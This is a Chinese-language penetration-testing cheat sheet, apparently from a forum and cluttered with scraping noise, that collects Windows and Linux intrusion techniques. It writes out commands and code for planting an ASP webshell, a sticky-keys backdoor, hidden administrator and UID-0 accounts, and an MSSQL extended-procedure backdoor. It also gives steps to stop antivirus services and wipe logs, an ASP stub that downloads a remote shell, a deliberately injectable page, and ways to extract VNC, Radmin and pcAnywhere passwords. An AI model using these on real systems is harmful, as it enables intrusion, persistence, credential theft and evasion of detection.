渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
8 ~4 n2 c" g9 f& E# a8 F' XIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
, r: r- |! f# o2 F9 P# [) S        
0 Y% K. c+ I$ K0 l
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
; V" R! p% W& Z" P9 m2 N# ?7 w
  j+ T3 {* t. m, D' `; r7 o) S. JUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
* |6 p4 @' }( K1 s9 dEnd If
Set ObjService=GetObject
# b4 j: o3 I6 f1 S/ F* M5 ~; V$ U+ X
9 r! r& W' }/ m( c("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
+ u* ?6 r. S7 n6 }1 ?        If IsNumeric(obj3w.Name)
# J3 p$ a9 f4 J6 w# g; j) q# S
0 L5 H: v7 s: `! N2 U0 z: `% p6 f, rThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
0 c: ]5 B3 N' p1 l         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
' f, q0 T+ ~/ X$ e' w8 p  L
# ]" t  V3 m1 B* ?# ]+ P<> 0 Then WScript.Quit (1)
8 }$ s  G* h, y0 n8 B$ K                WScript.Echo Chr(10) & "[" &
! {* p, u, ^, F
: i: X4 Y9 |5 X- [0 h, WOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
+ K. {; `$ g# n' w: |$ p6 O
  J/ T/ j1 c- t/ t: w                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
7 l) H9 l4 J$ I/ @$ g
; h  f# n* L. H& @, M" ?( t9 nWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
  ]( I- s7 t5 |9 b      
# q9 l1 A) o% E% F
1 F8 e' @. b1 [8 @         WScript.Echo "ath            : " & VDirObj.Path
" A# g9 P" Z& f        End If
% ]! I. X7 k+ p( U. n6 INext
* X4 ?6 V, t' A) s9 ~, x" x复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
# T6 v; x" c6 w% c4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
2 g! A# T& O5 c  j* W- @: _—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
$ `5 k' _7 a, H, w; i6 furl/wp-content/plugins/akismet/hello.php
- L, r. X3 s9 v& S3 {——————————————————————
4 k3 \" J; c( j! l1 Y% c" x% vphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
6 E) q' i' \$ Q+ {1 iphpMyAdmin/darkblue_orange/layout.inc.php
% f3 W$ X" U; V3 J; M, SphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
8 q3 Q& c+ O$ f- ~, k8 K网站可能目录(注：一般是虚拟主机类）
# o  M) {& W/ z  }$ `5 Hdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
' a$ ]8 I4 |; ^! M5 Mnetsh ras set user administrator deny #禁止administrator拨入该VPN
! y2 L8 o1 ?" g+ ^0 nnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
0 a- c8 G# z) K; Jnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
& B  H% G/ H  k% Xnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
2 j; J' S, j% P  i7 }0 n————————————————————
$ L1 |/ S. Z& ~0 A+ |8 m5 Y命令行下添加SQL用户的方法
& Z* e+ V8 J( _; {# g需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
. K2 A8 ?( y( s3 f0 T% X2 R- u# yexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
, o3 R* J: C9 T7 ]6 @+ P' n/ X6 ]然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
% h+ P0 a) U/ h: _& H" I# ^: x
* G5 {  J! X- j' i" T另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
( v, O1 f. d8 S2 V, yjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
4 R1 _  K" T' p$ X3 Jz.changePassword("123456","")
( K- u' V( t4 Y5 az.setting("AccountType")=3;

vbs:
8 U2 Q# G" }- K9 g5 I0 ]# lSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
$ n: s1 v0 [+ T7 r% \8 [z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
  R) `0 R: g$ ~0 f* b0 d( Q7 h
命令如下
  j" O5 S! s7 x: y) P0 L3 W9 Ncacls c: /e /t /g everyone:F           #c盘everyone权限
" g3 f9 d, t" J) U5 |cacls "目录" /d everyone               #everyone不可读，包括admin
  Q! K- i) }( i3 P————————以下配合PR更好————
' @4 U. [; l2 ]# H: p! `: F3389相关
! V. ~4 e8 `: Za、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
8 v  N& c, M; D! t: b& B. DXP 运行mstsc /admin
- n3 Q  `# _6 t. P( |8 D' R2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
% z8 m! f7 _. c" D- `" lnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
( z5 p& l+ X# fnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
/ Z+ h. L( E" F8 h1 e# l# d
卖咖啡：net stop "McAfee McShield"
5 [# P' M% Y% `————————————————————
0 @3 y, h6 C$ X/ y/ z
7 o* e& ~* e& R6 g5次SHIFT：
' T) o, i8 [6 e$ Q0 i# W6 l7 y/ Qcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
# t  G  v# f) P: e9 i) rcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
+ Y" G4 G$ Y& _7 |- x! h$ Acopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
! [4 J! w- V, t. a1 ?" k+ a1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
$ A6 N" Z& k' b4 @' Q' P6 u4、利用Hacker Defender把相关用户注册表隐藏
) W1 `# z! C! G+ E- I$ x) O# K& e——————————————————————
! }; ]& E4 B+ \' w% F3 H. UMSSQL扩展后门：
& o5 w* t( d5 V: u3 uUSE master;
2 s' J- V# L+ [: R1 U) k/ MEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
2 P2 T7 R$ R3 R3 xGRANT exec On xp_helpsystem TO public;
———————————————————————
4 x2 w2 f4 T" Y( n  u日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
1 a# N! H# x$ e4 q) _用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
* `; c' ^5 w6 I, u) OMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
! i4 L1 B1 W' ]' O- _找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

- g, D' j7 f& y; L( R& o4 T5 AServer\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
# |/ q$ ?5 L- P. v6 i4 I& \" B
8 M' Z3 ^( \4 i<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
$ u) r* c, L" }- {On Error Resume Next
2 ]4 h- M- A& b' q, \# i. gSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
* h, R# J& D/ {. ?+ aWith Ads
; B2 g% y. V; Z# g+ i. M) |.Type = 1
.Open
.Write GetRemoteData
  O7 [9 X5 C2 J# v( k9 J) ^8 m7 H.SaveToFile Server.MapPath(s_LocalFileName), 2
6 a3 T- k7 c7 d% a- x" d6 ]4 S.Cancel()
/ [2 _0 e& e. _5 Z0 B6 _.Close()
End With
4 Q( L5 y1 Y- l9 wSet Ads=nothing
End Sub
. Y8 d, H1 J) Y9 F3 A3 b7 T/ p
2 ~) g$ ]' x- g$ JeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
* {4 J! F4 h4 S6 q- s: ?2 z; n; ^%>
1 U# f  q# m" v2 M, j
5 z7 L1 Z( F& J6 ~' R7 |VNC提权方法:
8 F/ Y/ h! P$ E: b* I' W+ C利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
: Z1 q! U+ h( t  W6 Fregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
' U( J, r0 O/ U* Y7 H8 C* q$ SRadmin 默认端口是4899，
; k( A% [( N3 N3 k, |. wHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
$ u/ q! S# G6 g2 c- j- ~3 W7 d然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
& q% N8 M% k5 m/ ^保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
0 Q& _5 A3 C( X——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
8 U9 W2 l1 [+ B) k' X——————————————————----------
  M+ z) d/ a3 X# d! ?/ zWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
" b7 W/ n! Y+ ~没有删cmd组建的直接加用户。
+ g; _. n1 l9 h4 q4 L' X7i24的web目录也是可写，权限为administrator。
8 C! {& U  \, D2 J3 }! A
1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
6 G; ^/ R6 ?0 l9 g6 p  D4 hstrSQLDBPassword = "数据库密码"
5 t9 H  S2 J( J/ b! {/ V! l7 istrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
! M, Z/ ]. f0 d5 g7 g  @set rs=server.createobject("ADODB.recordset")
# k  W6 o1 S5 m" T$ `id = request("id")
2 K9 D* u& M  d0 s9 d' r* rstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
" b$ q$ _2 C( y4 i: J+ P%>
: T1 C7 y2 @+ d; C$ c+ F复制代码
. H! j% ]/ g9 N; e******liunx 相关******
5 c* ?! [9 _# ]7 k( z' H一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

! U' V5 ?" N3 D1 P$ G2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
) P. p: }* u* L4 K7 q6 c$ y找到ou,dc,dc设置
0 l0 @, I, k; ^! |. h
3.查找管理员信息
: i2 S1 _6 Z; ^/ D2 Z* \6 A: u; u匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

# ?1 T7 @6 K1 K"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 B3 m" o+ r" `有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 y* M# A# b2 f- U3 x- I" L
/ o: q7 M  V$ X2 T"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 C& B$ x7 P8 d
8 N# f& l, X/ c. u
: h1 y+ i' p2 }9 W7 ?- k4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

* D6 m/ B# A( H! \$ L: b: @实战:
4 p2 Y. n3 m% ~( Q: m0 j$ K1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
. G; Z" Y3 f1 h, y6 E" l
2.less /etc/ldap.conf
9 p) _: c1 e) F( e4 P0 w* ebase ou=People,dc=unix-center,dc=net
7 f" |; a- ]5 Q找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
9 I3 |( O  H. u有密码形式
. D6 I+ m! G' r4 `ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
$ Q" H) k0 {1 k" R0 a/ q
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 }) i- k% |& L: S$ D' R
! a# l1 Q* z" F, h7 z( z
- v& S% }$ s: K$ `3 S. Z2 R6 x4.查找10条用户记录
3 w9 s6 B) j& Q. L; m# ^- Pldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
+ C- C6 `7 M$ u8 X# K1 ^
渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
) s# T4 N$ _6 q- Q3 S2 c) lversion: 1
6 b) G/ k4 P* |$ Kdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
" ~; e5 n. N  H7 X8 i
dn: uid=manager,dc=ruc,dc=edu,dc=cn
' w- q& o) c: q& M  \: xuid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
1 |6 o5 j7 |1 {/ [objectClass: person
objectClass: top
sn: manager
# G6 c5 q8 }( f, R2 j; Ecn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
2 ^8 D0 \6 Z, H& vuid: superadmin
objectClass: inetOrgPerson
3 Y' N1 O/ s2 F( K+ sobjectClass: organizationalPerson
+ P% }  E) M* U0 F9 l  }1 Z/ }objectClass: person
+ _0 e5 x8 ]; B) \# u8 z/ JobjectClass: top
sn: superadmin
cn: superadmin
) y4 x( p9 p, u6 k: N2 K
dn: uid=admin,dc=ruc,dc=edu,dc=cn
: n8 n# e3 d( T- s# huid: admin
objectClass: inetOrgPerson
4 W8 W) E  I% x6 zobjectClass: organizationalPerson
objectClass: person
: ~# V8 ^4 v- k/ U4 [" H9 IobjectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
0 h/ B7 \& [" ~$ S- [+ [! [1 p; `uid: dcp_anonymous
! Y3 m: {, @4 Y: x% KobjectClass: top
objectClass: person
& d0 O. d5 Y3 E+ B- A1 BobjectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
  d8 R- v9 F& ?8 e) s3 T; [bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
1 a, ^$ D* x2 o8 P1 M0 p# L4 B
more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

$ H/ Q% W# d5 m3.查找
& y: C+ x0 w/ `bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
+ F* |3 ~3 ~6 ^version: 1
dn:
' u: p8 N+ ?* r6 v! k1 F2 hobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
2 E# B1 ]9 U6 v0 A9 q& h$ fsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
, u, F: Y2 p. }) ?supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
5 M3 B1 ]/ W7 |" A% O# U( s: ZsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
% g9 m6 P6 q6 _. @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
' U: Z8 n- i9 AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
* l0 D1 B) Y1 _; F: _6 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
. g, `2 C6 i, a2 M. jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
1 A. R1 @# H- ?! EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
% C( N- w5 Y0 a: ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
5 J+ E$ k4 {8 }6 E+ {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
1 T2 o: L# J  P# msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
) O* L5 v% ?  O' TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
: w) D: L& l; p* y* ]# isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
# c* S1 o! Z% y$ c7 t* bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
3 e+ q: W6 m/ N2 G: I$ d# P9 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
) A/ l2 v" y+ x0 Z1 M, m  N5 A7 f, a) nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
7 d; Y4 q* G$ ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
+ e% z0 x8 u- S( HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
% c6 N$ \: K, [, MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
7 d! z1 n0 u7 ]4 C& CsupportedControl: 2.16.840.1.113730.3.4.2
/ N4 V- v3 }$ r& ?. M) K+ F# X; k0 `supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
$ f, x, Q! T$ e) v4 SsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
: K* x. s7 b% ^% c; U4 q% isupportedControl: 2.16.840.1.113730.3.4.15
% W4 [4 ]  U, G3 E. A/ GsupportedControl: 2.16.840.1.113730.3.4.17
6 }# y3 B5 T5 T% q* P; xsupportedControl: 2.16.840.1.113730.3.4.19
# A9 o) ?7 o) ?& K# HsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
1 s5 `1 V. z. U- HsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
! P5 z$ @9 a6 x8 ?supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
5 T' j( s9 P2 b& R9 I! c" [- ^supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
% _, r% x8 i+ IsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
# G1 l- {6 |, S2 A5 _4 KsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
0 s- F! x9 _: w8 c8 A* b/ PvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
7 i7 Y& x5 ~1 N  X( C; P' [; Qdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
  X0 U$ S1 U. @5 l2 ^3 h8 [supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
5 ^  I0 b, }6 o2 N! W$ _) \supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
- n9 l4 w* k1 @* G) ?& rsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
/ ], l4 f' B5 k" W' ksupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
3 G' j9 q8 u% R! u3 L3 `supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
+ x" k# m" t. A; t* rsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
' @- h- s6 G) O/ r! P* G7 I9 isupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
- w% [' \6 o$ g# \supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
- d" X6 p. \% Q  _$ zsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
' J- |. P. R3 ?' I: U! W3 u; _, csupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
9 T1 c. ]1 H. H2 f2 t- Y$ BsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0 `% J% r; G1 {& g- PsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
& `8 c5 E! f2 R' H# A% esupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
6 F; O1 A* e3 l$ f: h- MsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
" X6 Y! I5 D" A  _supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
% i; ~9 l' P2 \! y; k; T1 UsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
" i  j2 E# _, ~$ \7 `8 [supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
+ @8 J8 @& w# v7 UsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
% u/ H9 Q: D2 O' \2 @supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
% j' }' O3 ?# E, T  {) h5 k7 qsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
( o) L- {( C. WsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
) @3 {5 O5 l6 e. `8 g5 [5 FsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
$ _+ @4 E% ~9 y. |# E" RsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
8 x& {6 _+ y+ D, U3 O) o2 zsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
: A" i. p8 _5 S9 R" r! OsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
$ e) }" T8 k+ F1 ?# q2 R: d' k————————————
: U* p1 B1 u9 h( X- Y4 A1 r( s1 C2. NFS渗透技巧
1 ~2 e( }! S5 gshowmount -e ip
" Q+ L  R0 b6 c7 @* Q& W) v列举IP
——————
; Z* |, Y7 M3 Q3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
3 ^7 I* h& Q7 ]finance
, f1 C& d2 m. \, P1 ?img_finance
auto
img_auto
html_cms
9 C( k& b, ]& i  w/ l' rimg_cms
9 E" f" l4 w2 k: I. `* s! _ent_cms
ent_img
ceshi
) L, {. u  y8 s; pres_img
4 B7 y4 W0 ?) h; j; ]1 @res_img_c2
! H3 ~2 l$ h) ~4 B* ~* Ichip
chip_c2
ent_icms
9 l( X" D. F4 G# b9 J7 Pgames
1 r) Y2 x9 W6 b+ Sgamesimg
& i* `& H6 \$ d; ^- tmedia
mediaimg
3 [# c( s, N$ ?7 }' i: s% L- ufashion
$ {) r& d. l. g& Hres-fashion
! A" |( f% C: W) mres-fo
taobao-home
res-taobao-home
house
; c0 f3 H- D) \8 ~0 s% W! ^res-house
. U4 \0 D  u2 }res-home
2 I) L' L& f5 K+ lres-edu
res-ent
res-labs
res-news
6 [& G: \) \4 Yres-phtv
res-media
home
edu
4 g+ m$ T4 q6 g/ p& d* }. }( _news
res-book
( a  L9 V4 y+ }
看相应的下级目录(注意一定要在目录后面添加上/)


' U) j. h2 i/ trsync 210.51.X.X::htdocs_app/
9 a. K: y& }  R  W, Mrsync 210.51.X.X::auto/
% |" B) i7 J: b) irsync 210.51.X.X::edu/

. V9 }+ }2 e5 h+ u2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

! K; h9 U9 Q* a) q3 _6 n3.向上更新rsync文件(成功上传,不会覆盖)
5 g0 h( s- N" ?" x3 \) _! Nrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

% q) S. m/ T! W7 Y四.squid渗透技巧
" w+ W5 L' i+ P6 M! H6 l# Ync -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
4 {( N8 j' N6 }) PGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
: s5 r+ p! Y* o) @index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
5 z9 o4 V: G* D1 i7 }/ U
0 d' X! M8 }5 X- u" w. A15&catid=32:languages&Itemid=47

  p, x* ~" ~$ R重新设置密码
$ I* o" t2 w9 U8 F# Aindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
# W& X6 q8 m0 j$ Y% B
2 y1 N5 P, A. U$ H+ Y; v八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
. S* J8 P" W5 w& T. }; t* [argp@julius ~]$ sysctl vfs.usermount
8 s9 N: S. ^6 m( A) @# N5 y) |* {* vfs.usermount: 1
* [argp@julius ~]$ id
- \5 I7 f& o) r* Z+ Q* uid=1001(argp) gid=1001(argp) groups=1001(argp)
